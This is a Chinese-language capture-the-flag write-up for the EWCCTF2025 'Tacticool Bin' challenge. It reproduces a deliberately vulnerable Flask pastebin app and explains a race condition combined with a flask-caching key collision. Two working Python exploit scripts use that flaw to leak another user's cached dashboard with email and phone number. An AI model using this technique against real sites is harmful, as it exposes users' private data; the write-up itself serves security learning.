EWCCTF2025 Tacticool Bin wp
“我只有一份工作！ 6:00 在这个类似于 Pastebin 的网站上阅读 Larry 的消息。这是您在 9 点 30 分平静地醒来时对自己说的话。寻找另一种方式与 Larry 取得联系！值得庆幸的是，该应用程序是开源的。你只知道 Larry 使用自己的名字作为用户名，并且喜欢 l33TsP34k、glhf。标志的格式为：ECW{用户名-电话号码-域名_of_his_email}
源码
from flask import Flask, render_template, redirect, url_for, flash, request
from flask_sqlalchemy import SQLAlchemy
from flask_login import LoginManager, UserMixin, login_user, logout_user, login_required, current_user
from werkzeug.security import generate_password_hash, check_password_hash
from flask_caching import Cache
import re
import time
import secretsapp = Flask(__name__)config = {"DEBUG": False,"CACHE_TYPE": "SimpleCache","CACHE_DEFAULT_TIMEOUT": 10,"SQLALCHEMY_DATABASE_URI": 'sqlite:///users.db',"SECRET_KEY": secrets.token_hex(16)
}app.config.from_mapping(config)db = SQLAlchemy(app)
login_manager = LoginManager(app)
login_manager.login_view = 'login'
cache = Cache(app)# User model
class User(db.Model, UserMixin):id = db.Column(db.Integer, primary_key=True)username = db.Column(db.String(100), unique=True, nullable=False)password = db.Column(db.String(200), nullable=False)email = db.Column(db.String(200), nullable=True)phone = db.Column(db.String(20), nullable=True)@login_manager.user_loader
def load_user(user_id):return User.query.get(int(user_id))
message_list = []@app.route("/", methods=['GET', 'POST'])
def index():#POST logicif request.method == 'POST':data = request.get_json()for item in message_list:if data.get('title') == item.get('title'):return 'Title already in use !', 418message_list.append({"title": data.get('title'), "ttl": data.get('ttl'), "creation": int(time.time())})time.sleep(0.5) # Lil delay on the request for better user experience 💅cache.set(data.get('title'), data.get('message'), timeout=data.get('ttl'))return "Ok"#GET logic could be ran every 1~5s instead of everytime a user gets the homepage but eh current_time = int(time.time())for item_dict in message_list:ttl = item_dict.get('ttl')creation = item_dict.get('creation')if current_time >= creation + ttl and ttl >= 0:#We overwrite it from cache as wellcache.set(item_dict.get('title'), "Removed", 1)message_list.remove(item_dict)# We want to control what we send to the client, ideally would optimize using only one list but logic is already built another waysent_list = []for item_dict in message_list:ttl = item_dict.get('ttl')creation = item_dict.get('creation')sent_list.append({"title": item_dict.get('title'), "message": cache.get(item_dict.get('title')), "ttl": item_dict.get('ttl') + item_dict.get('creation')-int(time.time())})if current_user.is_authenticated:return render_template('index.html', username = current_user.username, data=sent_list)else:return render_template('index.html', data=sent_list)@app.route('/register', methods=['GET', 'POST'])
def register():if request.method == 'POST':username = request.form['username']email = request.form['email']password = request.form['password']phone = request.form['phone']if not re.match(r'^[a-zA-Z0-9_-]+$', username):flash('Username can only contain letters, numbers, underscores, and dashes.')return redirect(url_for('register'))if User.query.filter_by(username=username).first():flash('Username already exists') return redirect(url_for('register'))hashed_pw = generate_password_hash(password)new_user = User(username=username, password=hashed_pw, email=email, phone=phone)db.session.add(new_user)db.session.commit()flash('Registration successful. You can now log in.')return redirect(url_for('login'))return render_template('register.html')@app.route('/login', methods=['GET', 'POST'])
def login():if request.method == 'POST':user = User.query.filter_by(username=request.form['username']).first()if user and check_password_hash(user.password, request.form['password']):login_user(user)return redirect(url_for('dashboard', username=current_user.username))flash('Invalid credentials')return render_template('login.html')def unauthorized():if current_user.is_authenticated:return current_user.username != request.path.split("/")[-1]else:return True@app.route('/dashboard/<username>')
#User's page is static, might as well keep it cached forever ¯\_(ツ)_/¯, however, made sure anyone can't just see someone elses profile by path traversal-ing, this would be bad RIGHT ?
@cache.cached(timeout=0, unless=unauthorized)
@login_required
def dashboard(username):user = User.query.filter_by(username=username).first()if not user:flash("Stop trying to access other users dashboards or face consequences !")return redirect(url_for('errorpage'))if user.id != current_user.id:flash("You shouldn't access another user's dashboard. =(")flash("User " + user.username + " has been alerted.")return redirect(url_for('errorpage'))return render_template('dashboard.html', name=current_user.username, email=current_user.email, phone=current_user.phone)@app.route('/alert')
@login_required
def errorpage():return render_template('error.html')@app.route('/logout')
@login_required
def logout():logout_user()return redirect("/")if __name__ == '__main__':with app.app_context():cache.clear()message_list = []#Rulesmessage_list.append({"title": "ABOUT", "ttl": -1337, "creation": 1744813509})cache.set("ABOUT", "Use our tool to anonymously emit any messages to everyone. - - - - - - - - - - - Messages are only kept in cache for the TTL duration, it is safely deleted and overwritten after that. - - - - - - - - Due to the increased number of users using our tool, user pages etc... are still under developement.", 0)message_list.append({"title": "RULES", "ttl": -1337, "creation": 1744813509})cache.set("RULES", "Even if there where rules... You probably wouldn't follow them", 0)db.drop_all()db.create_all()#db base entries (example only) hashed_pw = generate_password_hash('ShouldBeSecure')new_user = User(username='Fictive_User', password=hashed_pw, email='name@corporation.ctry', phone='+33 6 00 00 00 00')db.session.add(new_user)db.session.commit()app.run(host="0.0.0.0", debug=False)一个交流网页
信息搜集
一进网站我们看到title们
但是源代码中并没有那些sweet
要我们获取其他用户信息（Larry），Larry一定访问了网页
注册admin显示
但Larry是不存在的：
访问：
http://challenges.challenge-ecw.eu:34867/dashboard/Larry
得到
由
if not user:flash("Stop trying to access other users dashboards or face consequences !")return redirect(url_for('errorpage'))if user.id != current_user.id:flash("You shouldn't access another user's dashboard. =(")flash("User " + user.username + " has been alerted.")return redirect(url_for('errorpage'))
我们能知道Larry用户不存在
经了解【AI安全】大模型安全相关问题_大模型dan攻击-CSDN博客
l33tsp34k（也称为leet speak、leet、1337 speak）是一种网络语言，它使用了一些特殊的字符和数字来代替英文字母，以创建一种在网络文化中广泛使用的编码形式。 最初起源于计算机黑客文化，后来在在线游戏和网络聊天室中流行开来。它既可以被用作一种特殊的编码方式，也可以被视为一种社交符号，使用户能够在网络上更好地识别彼此，或者强调自己属于特定的网络社群。虽然在过去几年中，它的使用已经有所减少，但在某些在线社区中，仍然可以见到 l33tsp34k 的存在。
Leet Speak Converter l33tsp34k/README.md at master · ZapDotZip/l33tsp34k
跟据[[flask-caching 装饰器（即 @cache.cached()）在不同场景下生成的 Key]]我们想要得到
我们需要获取信息的用户名的/dashboard/<username> 的内容（Larry），那么就需要知道那个缓存键的格式
枚举 Larry的l33tsp34k 变体 以获取用户名（username）
Larry//经尝试，是L4Rry
L4Rry
那么
flask.cache + 竞争条件实现错误
[[flask_caching研究]]
当你在一个视图函数／路由上这样使用：
@app.route("/foo")
@cache.cached(timeout=60)
def foo():…
其 key 的生成规则（按文档）为：
-
默认
key_prefix='view/%s'，其中%s会被替换为request.path。(flask-caching.readthedocs.io) -
如果你没有设置
query_string=True，也没有设置make_cache_key，也没有自定义key_prefix，则 key ≈"view/" + request.path。例如，若访问路径为/foo，则 key 为view//foo（注意前面有一个斜杠，因为request.path通常包括/开头）。(devcenter.heroku.com) -
若
key_prefix是一个带有%s的格式串，例如key_prefix='myprefix/%s'，则会变为myprefix/ + request.path。(flask-caching.readthedocs.io)
漏洞分析
存在竞争条件 (Race Condition)可能
根路由下存在两套处理机制：
GET请求：
#GET logic could be ran every 1~5s instead of everytime a user gets the homepage but eh current_time = int(time.time())for item_dict in message_list:ttl = item_dict.get('ttl')creation = item_dict.get('creation')if current_time >= creation + ttl and ttl >= 0:#We overwrite it from cache as wellcache.set(item_dict.get('title'), "Removed", 1)message_list.remove(item_dict)# We want to control what we send to the client, ideally would optimize using only one list but logic is already built another waysent_list = []for item_dict in message_list:ttl = item_dict.get('ttl')creation = item_dict.get('creation')sent_list.append({"title": item_dict.get('title'), "message": cache.get(item_dict.get('title')), "ttl": item_dict.get('ttl') + item_dict.get('creation')-int(time.time())})if current_user.is_authenticated:return render_template('index.html', username = current_user.username, data=sent_list)else:return render_template('index.html', data=sent_list)
能看到，在我们传入的message_list 中获取ttl，对ttl 是否过期进行一个检验
注意到这里的message的内容获取逻辑
sent_list.append({"title": item_dict.get('title'), "message": cache.get(item_dict.get('title')), "ttl": item_dict.get('ttl') + item_dict.get('creation')-int(time.time())})
竟然是直接通过缓存键进行获取，而这里传入的缓存键的内容我们是可以控制的
cache.get(item_dict.get('title'))
正是message_list 中的 title
那么，我们就要想办法设置那么一个缓存键，跟据 [[flask-caching 装饰器（即 @cache.cached()）在不同场景下生成的 Key]]
我们需要的缓存键的格式为
view//dashboard/<获取信息的用户名>
在POST请求处理中：
message_list.append({"title": data.get('title'), "ttl": data.get('ttl'), "creation": int(time.time())})
time.sleep(0.5) # 这里产生了竞争条件窗口
cache.set(data.get('title'), data.get('message'), timeout=data.get('ttl'))
攻击时间线：
- t=0: 消息被添加到
message_list - t=0~0.5s: GET请求在这段时间内执行
- t=0.5s: 消息才被设置到缓存中
这个时间差足够我们读取一些原本我们不应该看到的缓存
缓存键名冲突
在Flask-Caching中，缓存键的生成规则是：
- 对于
@cache.cached装饰的视图，缓存键默认包含视图路径 - dashboard视图的缓存键很可能包含路径信息
具体攻击原理
dashboard视图的缓存机制：
@app.route('/dashboard/<username>')
@cache.cached(timeout=0, unless=unauthorized) # timeout=0 表示永久缓存
@login_required
def dashboard(username):# ...
比如当用户访问 /dashboard/admin 时，Flask-Caching会生成一个缓存键，这个键包含路径信息，view//dashboard/admin。
然后按照这个键，我们能得到这个键储存的值。
攻击过程：
- POST请求：创建一个标题为
"view//dashboard/admin"的消息 - 竞争窗口：在0.5秒延迟期间，消息已在
message_list但还未写入缓存 - GET请求：服务器处理GET请求时：
- 遍历
message_list，找到你的消息 - 尝试从缓存读取
cache.get("view//dashboard/admin") - 此时缓存中还没有你的消息内容，但存在dashboard页面的缓存
- 于是返回了dashboard页面的缓存内容而不是你的消息内容
- 遍历
- ! 标题格式很重要
"view//dashboard/admin" 这个格式恰好匹配了：
- Flask-Caching为dashboard视图生成的缓存键模式
- 双斜杠
//也是缓存键命名的一部分
那么我们知道这是一个典型的TOCTOU (Time-of-Check-Time-of-Use) 漏洞：
- Time-of-Check: GET请求检查缓存时，发现键存在（dashboard的缓存）
- Time-of-Use: 返回了该键对应的值（敏感的dashboard内容）
最终脚本
import requests
import time
import threading # 目标URL
url = "http://challenges.challenge-ecw.eu:34931/" def send_post_request(): """发送POST请求创建消息""" payload = { "title": "view//dashboard/L4Rry", "message": "x", "ttl": 0.8 } try: response = requests.post(url, json=payload) print(f"POST响应状态码: {response.status_code}") print(f"POST响应内容: {response.text}") return response except Exception as e: print(f"POST请求失败: {e}") return None def send_get_request(stop_event, results): """在指定时间窗口内发送GET请求""" start_time = time.time() get_count = 0 # 在0.5秒内持续发送GET请求 while time.time() - start_time < 0.5 and not stop_event.is_set(): try: response = requests.get(url) get_count += 1 # 检查响应中是否包含我们想要的信息 if "view//dashboard/L4Rry" in response.text: print(f"发现目标信息! 在第 {get_count} 次GET请求中") results['success'] = True results['content'] = response.text results['count'] = get_count stop_event.set() # 停止其他线程 break except Exception as e: print(f"GET请求失败: {e}") if not results['success']: print(f"在时间窗口内发送了 {get_count} 次GET请求，但未找到目标信息") def exploit(): """执行漏洞利用""" print("开始时间窗口攻击...") # 用于线程间通信 stop_event = threading.Event() results = {'success': False, 'content': '', 'count': 0} # 创建并启动GET线程 get_thread = threading.Thread(target=send_get_request, args=(stop_event, results)) get_thread.start() # 短暂延迟确保GET线程已经开始 time.sleep(0.05) # 发送POST请求（这会触发服务器的0.5秒延迟） post_response = send_post_request() # 等待GET线程完成 get_thread.join(timeout=1) # 输出结果 if results['success']: print("\n" + "=" * 50) print("攻击成功!") print(f"在 {results['count']} 次尝试中获取到敏感信息") print("=" * 50) # 保存结果到文件 with open("exploit_result.html", "w", encoding="utf-8") as f: f.write(results['content']) print("结果已保存到 exploit_result.html") # 提取并显示关键信息 import re # 查找包含目标标题的消息 pattern = r'view//dashboard/L4Rry.*?message[^>]*>([^<]+)' matches = re.findall(pattern, results['content'], re.IGNORECASE | re.DOTALL) if matches: print(f"提取到的消息内容: {matches[0]}") else: print("\n攻击失败，未能在时间窗口内获取敏感信息") return results def alternative_exploit(): """备选方案：更精确的时间控制""" print("\n尝试备选攻击方案...") def timed_get(stop_time, results): while time.time() < stop_time: try: response = requests.get(url) if "view//dashboard/L4Rry" in response.text: results['success'] = True results['content'] = response.text break except: pass # 计算精确的时间点 start_time = time.time() post_time = start_time + 0.1 # 100ms后发送POST stop_get_time = post_time + 0.4 # POST后400ms停止GET results = {'success': False, 'content': ''} get_thread = threading.Thread(target=timed_get, args=(stop_get_time, results)) get_thread.start() # 等待到预定时间发送POST while time.time() < post_time: time.sleep(0.001) send_post_request() get_thread.join() if results['success']: print("备选方案成功!") with open("exploit_result_alt.html", "w", encoding="utf-8") as f: f.write(results['content']) else: print("备选方案失败") return results if __name__ == "__main__": # 主要攻击方法 result1 = exploit() if not result1['success']: # 如果主要方法失败，尝试备选方案 result2 = alternative_exploit() print("\n攻击完成")
const messages = [{message: "Use our tool to anonymously emit any messages to everyone. ------- Messages are only kept in cache for the TTL duration, it is safely deleted and overwritten after that. ------ Due to the increased number of users using our tool, user pages etc... are still under development.",title: "ABOUT",ttl: -16371018},{message: "Even if there where rules... You probably wouldn't follow them",title: "RULES",ttl: -16371018},{message: `<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>TACTICOOL BIN - Dashboard</title><link rel="stylesheet" type="text/css" href="/static/css/login.css"><link href="https://fonts.googleapis.com/css2?family=Roboto+Mono&display=swap" rel="stylesheet">
</head>
<body style="flex-direction: column;"><h2>Welcome, L4Rry!</h2><h2>Your email is Congr@tulat.on!</h2><h2>Your phone number is 1333333337!</h2><a href="/logout">Logout</a>
</body>
</html>`,title: "view//dashboard/L4Rry",ttl: -47.200000047683716}
];
更简短脚本：
但事实上，我们不去登录也能获取
import requests
import time
import re TARGET = "http://challenges.challenge-ecw.eu:34931" # 1. 注册并登录攻击者
s = requests.Session()
user = f"a{int(time.time())}"
s.post(f"{TARGET}/register", data={'username': user, 'password': 'p', 'email': 'a@a.com', 'phone': '1'})
s.post(f"{TARGET}/login", data={'username': user, 'password': 'p'}) # 2. 发送缓存污染消息
s.post(f"{TARGET}/", json={"title": "view//dashboard/L4Rry", "message": "x", "ttl": -1337}, headers={'Content-Type': 'application/json'}) # 3. 竞争条件：快速刷新获取数据
for i in range(15): r = s.get(f"{TARGET}/") if "Your email is" in r.text: # # 4. 提取敏感信息 print(r.text) break time.sleep(0.03)
得到
ECW{L4Rry-1333333337-tulat}